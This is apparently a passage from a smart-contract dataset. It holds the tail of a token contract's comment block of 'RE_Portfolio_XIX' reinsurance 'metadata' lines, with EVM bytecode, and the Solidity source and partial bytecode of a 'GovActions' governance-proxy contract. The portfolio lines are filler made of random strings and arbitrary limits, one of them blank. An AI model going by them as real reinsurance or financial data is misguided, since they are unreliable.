// < 1E-018 limites [ 398265421,292264 ; 444981485,562693 ] >
// < 0x0000000000000000000000000000000000000000000000945D8D025A5C4BDEC0 >
// < RE_Portfolio_XIX_metadata_line_12_____Third_Point_Reinsurance_20250515 >
// < fC0h29Rm9ocPohp9k7InnRo2vAz51YIlY88WsYK2c3rhIZ0Q1ZN28fI3jxq9pdkF >
// < 1E-018 limites [ 444981485,562693 ; 506207468,160163 ] >
// < 0x0000000000000000000000000000000000000000000000A5C4BDEC0BC93B4E34 >
// < RE_Portfolio_XIX_metadata_line_13_____Toa_Re_Co_Ap_Ap_20250515 >
// < 0F6Y2bYEjTQEty18YK1Yf8pU9Fnm7xkFLmDyHQvTFG1n9Ibtxm4C7OgWqT2IXZDZ >
// < 1E-018 limites [ 506207468,160163 ; 552950676,871448 ] >
// < 0x0000000000000000000000000000000000000000000000BC93B4E34CDFD7C81B >
// < RE_Portfolio_XIX_metadata_line_14_____Tokio_Marine_Global_Re__Asia_Limited__20250515 >
// < 4Uv7m9mj2c4tYBqpHP6Mdob500N05SIh1oRP2Rfqb2N822HqsuBGP3QmiI4qisfm >
// < 1E-018 limites [ 552950676,871448 ; 585414558,533241 ] >
// < 0x0000000000000000000000000000000000000000000000CDFD7C81BDA157BBE1 >
// < RE_Portfolio_XIX_metadata_line_15_____Tokio_Marine_Holdings_Incorporated_20250515 >
// < z95bDnU95A92kciV43h5sb2iZ7934ZS2t69z72Jc1Ws4PHAaS31Zh304VCgvB5TN >
// < 1E-018 limites [ 585414558,533241 ; 602538129,447563 ] >
// < 0x0000000000000000000000000000000000000000000000DA157BBE1E07683AC4 >
// < RE_Portfolio_XIX_metadata_line_16_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < 6f4g2q9OeJV9c6VVvchEEnxr4Cv378e5yNB4nMrwtdy5V443S05kPc39XTc2HF06 >
// < 1E-018 limites [ 602538129,447563 ; 628991114,826927 ] >
// < 0x0000000000000000000000000000000000000000000000E07683AC4EA514482E >
// < RE_Portfolio_XIX_metadata_line_17_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < iPt6B77Bl3RZ7h77fu88iO7ev488A2DjS4SZZxmencBOcET49Wp81gHOmA16l0E6 >
// < 1E-018 limites [ 628991114,826927 ; 653664998,582608 ] >
// < 0x0000000000000000000000000000000000000000000000EA514482EF3825A406 >
// < RE_Portfolio_XIX_metadata_line_18_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < z8tE1C9pT508U5L9E4xTwNDi3807k9JZYk2uuR7i5ac5W8uyjo1tv409yFEjaZsU >
// < 1E-018 limites [ 653664998,582608 ; 665148788,281526 ] >
// < 0x0000000000000000000000000000000000000000000000F3825A406F7C988360 >
// < RE_Portfolio_XIX_metadata_line_19_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < F5rbD2A4YFUm3t95c22MgJdko2IWDlDjD15B03u4Bn44nOxqF497Up68poE5l36F >
// < 1E-018 limites [ 665148788,281526 ; 692363511,442255 ] >
// < 0x000000000000000000000000000000000000000000000F7C988360101ECEE29C >
// < RE_Portfolio_XIX_metadata_line_20_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < 71qm6JMO9DdJ9dokd6M8010L8EP18g8g7QQbWisuxf0SOt3jOjriAgHtTxEPx4t6 >
// < 1E-018 limites [ 692363511,442255 ; 724633371,593046 ] >
// < 0x00000000000000000000000000000000000000000000101ECEE29C10DF26C8BB >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIX_metadata_line_21_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < NtO4R5z8Hmq5gyTbb27oq3w879404Q7c7vAGxPb54wIFKgrsHL91QQ319PF7IgNW >
// < 1E-018 limites [ 724633371,593046 ; 797817953,472696 ] >
// < 0x0000000000000000000000000000000000000000000010DF26C8BB12935D9807 >
// < RE_Portfolio_XIX_metadata_line_22_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < b5Vq3e1JmThrk9aVq0BkT6H9rgC5886X04cLS8LKu5Kbn2ethsP01gxK359I9D0M >
// < 1E-018 limites [ 797817953,472696 ; 826159686,009524 ] >
// < 0x0000000000000000000000000000000000000000000012935D9807133C4BA54C >
// < RE_Portfolio_XIX_metadata_line_23_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < bagbt2n0F5CFG1Aaj6eH5ls5qnElLCnMN0L0P87O765u41AC0ChA93ZFGB6aEPTu >
// < 1E-018 limites [ 826159686,009524 ; 837798262,824859 ] >
// < 0x00000000000000000000000000000000000000000000133C4BA54C1381AAB45E >
// < RE_Portfolio_XIX_metadata_line_24_____Tokio_Marine_Kiln_Syndicates_Limited_20250515 >
// < y6fsIS3j1m8vv4eZ9whZ54VoS8CbFSz16V9QKtZ6xYDrfq6uf0rUxK7DJr1837Mq >
// < 1E-018 limites [ 837798262,824859 ; 856011397,919842 ] >
// < 0x000000000000000000000000000000000000000000001381AAB45E13EE39BE43 >
// < RE_Portfolio_XIX_metadata_line_25_____Tokio_Marine_Nichido&_Fire_Ins_Co_Ap_App_20250515 >
// < 75fl1uTS32nKG3OT9Pw5Ot8Y5LAmU43x0kGKoX82k4vnU95Dwztn12G6a3ESuCIk >
// < 1E-018 limites [ 856011397,919842 ; 904493694,143151 ] >
// < 0x0000000000000000000000000000000000000000000013EE39BE43150F33DB3A >
// < RE_Portfolio_XIX_metadata_line_26_____Torus_Underwriting_Management_Limited_20250515 >
// < I12A7dRCEI2meH2ft5Cd6K7U7w9RMpQ3JLSwW1x49X5DEMFh0m0r2AElUyabMIFy >
// < 1E-018 limites [ 904493694,143151 ; 925858141,165202 ] >
// < 0x00000000000000000000000000000000000000000000150F33DB3A158E8B6A58 >
// < RE_Portfolio_XIX_metadata_line_27_____Towers_Perrin_Reinsurance_20250515 >
// < P1Gq46BCkvTcbhi1MGYTv588qA2CMse4xLrS9yoB0m1j9tr8l8Zusi31OSX137AP >
// < 1E-018 limites [ 925858141,165202 ; 972670559,352482 ] >
// < 0x00000000000000000000000000000000000000000000158E8B6A5816A5917F33 >
// < RE_Portfolio_XIX_metadata_line_28_____Trans_Re_Zurich_Ap_Ap_20250515 >
// < KU27aNuH8Ws1P056Spm5T6l5of15zm5GRkcQ5k5X6dB39S72r2BVPS9U90d31p55 >
// < 1E-018 limites [ 972670559,352482 ; 1003445887,17497 ] >
// < 0x0000000000000000000000000000000000000000000016A5917F33175D00EBA1 >
// < RE_Portfolio_XIX_metadata_line_29_____Transamerica_Reinsurance_20250515 >
// < e6moO2T5A1i3E9iR4TVjMr76xI74u0j0STEZb3yx1wXdvv8AMxNaN9CN0q6VxCAK >
// < 1E-018 limites [ 1003445887,17497 ; 1052832072,74501 ] >
// < 0x00000000000000000000000000000000000000000000175D00EBA118835E425E >
// < RE_Portfolio_XIX_metadata_line_30_____Transatlantic_Holdings_Inc_20250515 >
// < 46tMpDbp7q137KJzXfmVY6tyaB1ewU0W5870841Nwz9KQhsQst6iffUEMzL4ZCRw >
// < 1E-018 limites [ 1052832072,74501 ; 1071982514,72323 ] >
// < 0x0000000000000000000000000000000000000000000018835E425E18F58383C4 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIX_metadata_line_31_____Transatlantic_Holdings_Incorporated_20250515 >
// < mW5qxaV89E18KD5Z2RzfbZu3EwR5By3OFVv5X73vShbWYyk7koUyjR1FwEpGGDgw >
// < 1E-018 limites [ 1071982514,72323 ; 1131282169,57941 ] >
// < 0x0000000000000000000000000000000000000000000018F58383C41A56F79B71 >
// < RE_Portfolio_XIX_metadata_line_32_____Transatlantic_Re_Co_Ap_Ap_20250515 >
// < 575zQ849jD7242nj6Bfdze2t4RVPlIVS9olpD2b633ayOnYVJGPT6jfJ071l2RDl >
// < 1E-018 limites [ 1131282169,57941 ; 1148292341,15667 ] >
// < 0x000000000000000000000000000000000000000000001A56F79B711ABC5B11B7 >
// < RE_Portfolio_XIX_metadata_line_33_____Transatlantic_Reinsurance_Company_20250515 >
// < 7U4iRcxih6bX09Kc46r4vzWlt7Oqa700Zp4szm674bt6pUMO4rDw1i9khwM8zXf5 >
// < 1E-018 limites [ 1148292341,15667 ; 1167136300,51226 ] >
// < 0x000000000000000000000000000000000000000000001ABC5B11B71B2CACAB57 >
// < RE_Portfolio_XIX_metadata_line_34_____TransRe_London_Limited_Ap_20250515 >
// < rsfbdcGB3Ha1l60W97Oj5O39zNmXjI3DKi798W4pv4W00l6U9g0VRy06j8HRrQOC >
// < 1E-018 limites [ 1167136300,51226 ; 1191694904,72507 ] >
// < 0x000000000000000000000000000000000000000000001B2CACAB571BBF0E201C >
// < RE_Portfolio_XIX_metadata_line_35_____Travelers_Companies_inc_Ap_20250515 >
// < LW88do6tS3Tecid7vhspU9uO9Dk71K3u55x93n93IMvH17b4A9MGo8MOPreMo3Xm >
// < 1E-018 limites [ 1191694904,72507 ; 1204457921,47698 ] >
// < 0x000000000000000000000000000000000000000000001BBF0E201C1C0B20F187 >
// < RE_Portfolio_XIX_metadata_line_36_____Travelers_insurance_Co_A_20250515 >
// < SAn1Xal1iTdOyy93T1ZWq18iGD31hmoZ9WBSD0pw35dH1JqLLcKJGD4hSnO0O5q8 >
// < 1E-018 limites [ 1204457921,47698 ; ] >
// < 0x000000000000000000000000000000000000000000001C0B20F1871C8A40B8DB >
// < RE_Portfolio_XIX_metadata_line_37_____Travelers_Syndicate_Management_Limited_20250515 >
// < m33tL2DET1N5IfqkQy1z9Tw2ElQ48E99HZq24kH00Z61SAPff92cyEHoqDTnbj33 >
// < 1E-018 limites [ 1225785812,23849 ; 1245765107,96977 ] >
// < 0x000000000000000000000000000000000000000000001C8A40B8DB1D0156B540 >
// < RE_Portfolio_XIX_metadata_line_38_____Travelers_Syndicate_Management_Limited_20250515 >
// < D9s016f658m026HP66qaoGlovX72HLUwILoN7uPIeOr28I1ml1ey1E8BejNsS97M >
// < 1E-018 limites [ 1245765107,96977 ; 1280751310,25896 ] >
// < 0x000000000000000000000000000000000000000000001D0156B5401DD1DF6A85 >
// < RE_Portfolio_XIX_metadata_line_39_____Travelers_Syndicate_Management_Limited_20250515 >
// < 6U5dHCsHKpsER95yn91gfu5A1r049Vj8eEy74196r8n7WyTLycewi7r3pac7X11E >
// < 1E-018 limites [ 1280751310,25896 ; 1315420823,44311 ] >
// < 0x000000000000000000000000000000000000000000001DD1DF6A851EA084E51C >
// < RE_Portfolio_XIX_metadata_line_40_____Triglav_Reinsurance_Co_A_20250515 >
// < iT1Dw4CktA63FFDv2h9wr29Bz3N5zJbRL8uD1F51hVEAB9wpa70Ug744MCBy638t >
// < 1E-018 limites [ 1315420823,44311 ; 1340600412,72182 ] >
// < 0x000000000000000000000000000000000000000000001EA084E51C1F3699E62C >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820c8b07d6f5466bf04a0c425535555acc2bf3a841bf5ddb075aee73e645abf49a80029
|
{"success": true, "error": null, "results": {}}
| 8,991 |
0xc970acc12e40a5c48caaf6cb6a18844479b29d4b
|
pragma solidity 0.6.7;
abstract contract Setter {
function modifyParameters(bytes32, address) virtual public;
function modifyParameters(bytes32, uint) virtual public;
function modifyParameters(bytes32, int) virtual public;
function modifyParameters(bytes32, uint, uint) virtual public;
function modifyParameters(bytes32, uint, uint, address) virtual public;
function modifyParameters(bytes32, bytes32, uint) virtual public;
function modifyParameters(bytes32, bytes32, address) virtual public;
function setDummyPIDValidator(address) virtual public;
function addAuthorization(address) virtual public;
function removeAuthorization(address) virtual public;
function initializeCollateralType(bytes32) virtual public;
function updateAccumulatedRate() virtual public;
function redemptionPrice() virtual public;
function setTotalAllowance(address,uint256) virtual external;
function setPerBlockAllowance(address,uint256) virtual external;
function taxMany(uint256, uint256) virtual public;
function taxSingle(bytes32) virtual public;
function setAllowance(address, uint256) virtual external;
function connectSAFESaviour(address) virtual external;
function disconnectSAFESaviour(address) virtual external;
function addReader(address) virtual external;
function removeReader(address) virtual external;
function addAuthority(address) virtual external;
function removeAuthority(address) virtual external;
function changePriceSource(address) virtual external;
function stopFsm(bytes32) virtual external;
function setFsm(bytes32,address) virtual external;
function start() virtual external;
function changeNextPriceDeviation(uint) virtual external;
function setName(string calldata) virtual external;
function setSymbol(string calldata) virtual external;
function disableContract() virtual external;
function toggleSaviour(address) virtual external;
}
abstract contract GlobalSettlementLike {
function shutdownSystem() virtual public;
function freezeCollateralType(bytes32) virtual public;
}
abstract contract PauseLike {
function setOwner(address) virtual public;
function setAuthority(address) virtual public;
function setDelay(uint) virtual public;
function setDelayMultiplier(uint) virtual public;
function setProtester(address) virtual public;
}
abstract contract MerkleDistributorFactoryLike {
function nonce() virtual public view returns (uint256);
function deployDistributor(bytes32, uint256) virtual external;
function sendTokensToDistributor(uint256) virtual external;
function sendTokensToCustom(address, uint256) virtual external;
function dropDistributorAuth(uint256) virtual external;
function getBackTokensFromDistributor(uint256, uint256) virtual external;
}
abstract contract StakingRewardsFactoryLike {
function totalCampaignCount() virtual public view returns (uint256);
function modifyParameters(uint256, bytes32, uint256) virtual public;
function transferTokenOut(address, address, uint256) virtual public;
function deploy(address, uint256, uint256) virtual public;
function notifyRewardAmount(uint256) virtual public;
}
abstract contract DSTokenLike {
function mint(address, uint) virtual public;
function burn(address, uint) virtual public;
}
contract GovActions {
uint constant internal RAY = 10 ** 27;
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "GovActions/sub-uint-uint-underflow");
}
function disableContract(address targetContract) public {
Setter(targetContract).disableContract();
}
function modifyParameters(address targetContract, uint256 campaign, bytes32 parameter, uint256 val) public {
StakingRewardsFactoryLike(targetContract).modifyParameters(campaign, parameter, val);
}
function transferTokenOut(address targetContract, address token, address receiver, uint256 amount) public {
StakingRewardsFactoryLike(targetContract).transferTokenOut(token, receiver, amount);
}
function deploy(address targetContract, address stakingToken, uint rewardAmount, uint duration) public {
StakingRewardsFactoryLike(targetContract).deploy(stakingToken, rewardAmount, duration);
}
function notifyRewardAmount(address targetContract, uint256 campaignNumber) public {
StakingRewardsFactoryLike(targetContract).notifyRewardAmount(campaignNumber);
}
function deployAndNotifyRewardAmount(address targetContract, address stakingToken, uint rewardAmount, uint duration) public {
StakingRewardsFactoryLike(targetContract).deploy(stakingToken, rewardAmount, duration);
uint256 campaignNumber = subtract(StakingRewardsFactoryLike(targetContract).totalCampaignCount(), 1);
StakingRewardsFactoryLike(targetContract).notifyRewardAmount(campaignNumber);
}
function modifyParameters(address targetContract, bytes32 parameter, address data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, int data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, uint data) public {
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function modifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, address data) public {
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, uint data1, uint data2) public {
Setter(targetContract).modifyParameters(parameter, data1, data2);
}
function modifyParameters(address targetContract, bytes32 collateralType, uint data1, uint data2, address data3) public {
Setter(targetContract).modifyParameters(collateralType, data1, data2, data3);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2
) public {
Setter(targetContract1).modifyParameters(parameter1, data1);
Setter(targetContract2).modifyParameters(parameter2, data2);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 parameter1,
bytes32 parameter2,
int data1,
int data2
) public {
Setter(targetContract1).modifyParameters(parameter1, data1);
Setter(targetContract2).modifyParameters(parameter2, data2);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 collateralType1,
bytes32 collateralType2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2
) public {
Setter(targetContract1).modifyParameters(collateralType1, parameter1, data1);
Setter(targetContract2).modifyParameters(collateralType2, parameter2, data2);
}
function removeAuthorizationAndModify(
address targetContract,
address to,
bytes32 parameter,
uint data
) public {
Setter(targetContract).removeAuthorization(to);
Setter(targetContract).modifyParameters(parameter, data);
}
function updateRateAndModifyParameters(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).updateAccumulatedRate();
Setter(targetContract).modifyParameters(parameter, data);
}
function taxManyAndModifyParameters(address targetContract, uint start, uint end, bytes32 parameter, uint data) public {
Setter(targetContract).taxMany(start, end);
Setter(targetContract).modifyParameters(parameter, data);
}
function taxSingleAndModifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, uint data) public {
Setter(targetContract).taxSingle(collateralType);
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function updateRedemptionRate(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).redemptionPrice();
Setter(targetContract).modifyParameters(parameter, data);
}
function setDummyPIDValidator(address rateSetter, address oracleRelayer, address dummyValidator) public {
Setter(rateSetter).modifyParameters("pidValidator", dummyValidator);
Setter(oracleRelayer).redemptionPrice();
Setter(oracleRelayer).modifyParameters("redemptionRate", RAY);
}
function toggleSaviour(address targetContract, address saviour) public {
Setter(targetContract).toggleSaviour(saviour);
}
function addReader(address validator, address reader) public {
Setter(validator).addReader(reader);
}
function removeReader(address validator, address reader) public {
Setter(validator).removeReader(reader);
}
function addAuthority(address validator, address account) public {
Setter(validator).addAuthority(account);
}
function removeAuthority(address validator, address account) public {
Setter(validator).removeAuthority(account);
}
function connectSAFESaviour(address targetContract, address saviour) public {
Setter(targetContract).connectSAFESaviour(saviour);
}
function disconnectSAFESaviour(address targetContract, address saviour) public {
Setter(targetContract).disconnectSAFESaviour(saviour);
}
function setTotalAllowance(address targetContract, address account, uint256 rad) public {
Setter(targetContract).setTotalAllowance(account, rad);
}
function setPerBlockAllowance(address targetContract, address account, uint256 rad) public {
Setter(targetContract).setPerBlockAllowance(account, rad);
}
function addAuthorization(address targetContract, address to) public {
Setter(targetContract).addAuthorization(to);
}
function removeAuthorization(address targetContract, address to) public {
Setter(targetContract).removeAuthorization(to);
}
function initializeCollateralType(address targetContract, bytes32 collateralType) public {
Setter(targetContract).initializeCollateralType(collateralType);
}
function changePriceSource(address fsm, address priceSource) public {
Setter(fsm).changePriceSource(priceSource);
}
function stopFsm(address fsmGovInterface, bytes32 collateralType) public {
Setter(fsmGovInterface).stopFsm(collateralType);
}
function setFsm(address fsmGovInterface, bytes32 collateralType, address fsm) public {
Setter(fsmGovInterface).setFsm(collateralType, fsm);
}
function start(address fsm) public {
Setter(fsm).start();
}
function setName(address coin, string memory name) public {
Setter(coin).setName(name);
}
function setSymbol(address coin, string memory symbol) public {
Setter(coin).setSymbol(symbol);
}
function changeNextPriceDeviation(address fsm, uint deviation) public {
Setter(fsm).changeNextPriceDeviation(deviation);
}
function shutdownSystem(address globalSettlement) public {
GlobalSettlementLike(globalSettlement).shutdownSystem();
}
function setAuthority(address pause, address newAuthority) public {
PauseLike(pause).setAuthority(newAuthority);
}
function setOwner(address pause, address owner) public {
PauseLike(pause).setOwner(owner);
}
function setProtester(address pause, address protester) public {
PauseLike(pause).setProtester(protester);
}
function setDelay(address pause, uint newDelay) public {
PauseLike(pause).setDelay(newDelay);
}
function setAuthorityAndDelay(address pause, address newAuthority, uint newDelay) public {
PauseLike(pause).setAuthority(newAuthority);
PauseLike(pause).setDelay(newDelay);
}
function setDelayMultiplier(address pause, uint delayMultiplier) public {
PauseLike(pause).setDelayMultiplier(delayMultiplier);
}
function setAllowance(address join, address account, uint allowance) public {
Setter(join).setAllowance(account, allowance);
}
function multiSetAllowance(address join, address[] memory accounts, uint[] memory allowances) public {
for (uint i = 0; i < accounts.length; i++) {
Setter(join).setAllowance(accounts[i], allowances[i]);
}
}
function mint(address token, address guy, uint wad) public {
DSTokenLike(token).mint(guy, wad);
}
function burn(address token, address guy, uint wad) public {
DSTokenLike(token).burn(guy, wad);
}
function deployDistributor(address target, bytes32 merkleRoot, uint256 amount) public {
MerkleDistributorFactoryLike(target).deployDistributor(merkleRoot, amount);
}
function deployDistributorAndSendTokens(address target, bytes32 merkleRoot, uint256 amount) public {
MerkleDistributorFactoryLike(target).deployDistributor(merkleRoot, amount);
MerkleDistributorFactoryLike(target).sendTokensToDistributor(MerkleDistributorFactoryLike(target).nonce());
}
function sendTokensToDistributor(address target, uint256 id) public {
MerkleDistributorFactoryLike(target).sendTokensToDistributor(id);
}
function sendTokensToCustom(address target, address dst, uint256 amount) public {
MerkleDistributorFactoryLike(target).sendTokensToCustom(dst, amount);
}
function dropDistributorAuth(address target, uint256 id) public {
MerkleDistributorFactoryLike(target).dropDistributorAuth(id);
}
function getBackTokensFromDistributor(address target, uint256 id, uint256 amount) public {
MerkleDistributorFactoryLike(target).getBackTokensFromDistributor(id, amount);
}
function setIncreasingRewardsParams(address target, uint256 baseUpdateCallerReward, uint256 maxUpdateCallerReward) public {
Setter(target).modifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
Setter(target).modifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
}
function setIncreasingRewardsParamsAndAllowances(address target, address treasury, uint256 baseUpdateCallerReward, uint256 maxUpdateCallerReward, uint256 perBlockAllowance, uint256 totalAllowance) public {
Setter(target).modifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
Setter(target).modifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
Setter(treasury).setPerBlockAllowance(target, perBlockAllowance);
Setter(treasury).setTotalAllowance(target, totalAllowance);
}
}
|
0x608060405234801561001057600080fd5b50600436106103a45760003560e01c8063801b67fd116101e9578063cd4f191b1161010f578063eb57563a116100ad578063f74b020c1161007c578063f74b020c146110f3578063f7788dc61461112f578063f98e426a14611161578063fe71d56d14611197576103a4565b8063eb57563a14611021578063ecf987ef14611053578063f35a75e014611085578063f6b911bc146110bd576103a4565b8063dd0b281e116100e9578063dd0b281e14610eed578063e1d936f814610f13578063e7796f3314610fc7578063eb40b42514610ff5576103a4565b8063cd4f191b14610e55578063d9c6f87614610e81578063da46098c14610eb7576103a4565b8063af5baa1411610187578063bbcf1a5d11610156578063bbcf1a5d14610d8b578063c2c7986714610db9578063c6c3bbe614610df1578063c9cf6de714610e27576103a4565b8063af5baa1414610bd2578063b66503cf14610bfe578063baf9d07b14610c2a578063bbbb704c14610c58576103a4565b806396869ded116101c357806396869ded14610af35780639bc8c65714610b48578063a154ce8214610b7e578063a27473c814610ba4576103a4565b8063801b67fd14610a575780638eb0ee6014610a8f57806396074fd214610ac5576103a4565b80634483c924116102ce578063671384fa1161026c57806372a611781161023b57806372a611781461096557806373986106146109ad578063764838c5146109e55780637eb711df14610a21576103a4565b8063671384fa146108715780636d21e4e2146108b35780636ea83dd3146108df5780636f64a97d14610927576103a4565b80635dac5682116102a85780635dac5682146107a55780635dadd57a146107d35780636672b1371461080d578063668924301461083f576103a4565b80634483c9241461070157806348503568146107495780635622b05114610777576103a4565b80632b0466c51161034657806332dc77231161031557806332dc77231461063d578063352e1a851461066b57806339f8c5bb1461069d578063434eff7f146106c9576103a4565b80632b0466c5146105035780632b8e88b3146105355780633013f41e146105635780633121db1c14610589576103a4565b80631693769b116103825780631693769b146104415780631cdcb5ce1461047d578063284372e8146104a9578063299a7bcc146104d5576103a4565b806303cb351c146103a957806308eb17f5146103e157806310c6309914610413575b600080fd5b6103df600480360360608110156103bf57600080fd5b506001600160a01b038135811691602081013590911690604001356111d3565b005b6103df600480360360608110156103f757600080fd5b506001600160a01b038135169060208101359060400135611250565b6103df6004803603604081101561042957600080fd5b506001600160a01b03813581169160200135166112f1565b6103df6004803603608081101561045757600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135611365565b6103df6004803603604081101561049357600080fd5b506001600160a01b0381351690602001356113dc565b6103df600480360360408110156104bf57600080fd5b506001600160a01b038135169060200135611422565b6103df600480360360408110156104eb57600080fd5b506001600160a01b0381358116916020013516611468565b6103df6004803603606081101561051957600080fd5b506001600160a01b0381351690602081013590604001356114c0565b6103df6004803603604081101561054b57600080fd5b506001600160a01b038135811691602001351661150e565b6103df6004803603602081101561057957600080fd5b50356001600160a01b0316611566565b6103df6004803603604081101561059f57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105c957600080fd5b8201836020820111156105db57600080fd5b803590602001918460018302840111600160201b831117156105fc5760